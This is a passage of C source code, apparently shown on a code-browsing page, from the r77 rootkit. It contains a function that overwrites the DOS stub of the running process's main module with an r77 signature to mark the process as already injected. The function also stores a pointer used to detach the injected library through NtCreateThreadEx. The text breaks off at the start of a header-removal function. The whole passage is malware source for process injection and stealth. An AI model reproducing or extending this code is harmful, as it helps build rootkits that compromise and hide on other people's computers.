| 18 | return 0; |
| 19 | } |
| 20 | BOOL WriteR77Header(WORD signature, LPVOID detachAddress) |
| 21 | { |
| 22 | BOOL result = FALSE; |
| 23 | |
| 24 | // Store the r77 header in the main module. |
| 25 | LPBYTE module = (LPBYTE)GetModuleHandleW(NULL); |
| 26 | if (module) |
| 27 | { |
| 28 | // The r77 header is written over the DOS stub. |
| 29 | LPWORD signaturePtr = (LPWORD) & module[R77_HEADER_OFFSET]; |
| 30 | |
| 31 | // Do not write the signature, if this process already has an r77 signature. |
| 32 | if (*signaturePtr != R77_SIGNATURE && *signaturePtr != R77_SERVICE_SIGNATURE && *signaturePtr != R77_HELPER_SIGNATURE) |
| 33 | { |
| 34 | DWORD oldProtect; |
| 35 | if (VirtualProtect(signaturePtr, 10, PAGE_READWRITE, &oldProtect)) |
| 36 | { |
| 37 | // Check again right before writing to mitigate a race condition. |
| 38 | if (*signaturePtr != R77_SIGNATURE && *signaturePtr != R77_SERVICE_SIGNATURE && *signaturePtr != R77_HELPER_SIGNATURE) |
| 39 | { |
| 40 | // The current process is now marked as injected and therefore, cannot be injected again. |
| 41 | *signaturePtr = signature; |
| 42 | |
| 43 | // Write a function pointer that can be invoked using NtCreateThreadEx to detach the injected library gracefully. |
| 44 | *(PDWORD64)&module[R77_HEADER_OFFSET + 2] = (DWORD64)detachAddress; |
| 45 | |
| 46 | VirtualProtect(signaturePtr, 10, oldProtect, &oldProtect); |
| 47 | result = TRUE; |
| 48 | } |
| 49 | } |
| 50 | } |
| 51 | } |
| 52 | |
| 53 | return result; |
| 54 | } |
| 55 | VOID RemoveR77Header() |
| 56 | { |
| 57 | LPBYTE module = (LPBYTE)GetModuleHandleW(NULL); |
no outgoing calls
no test coverage detected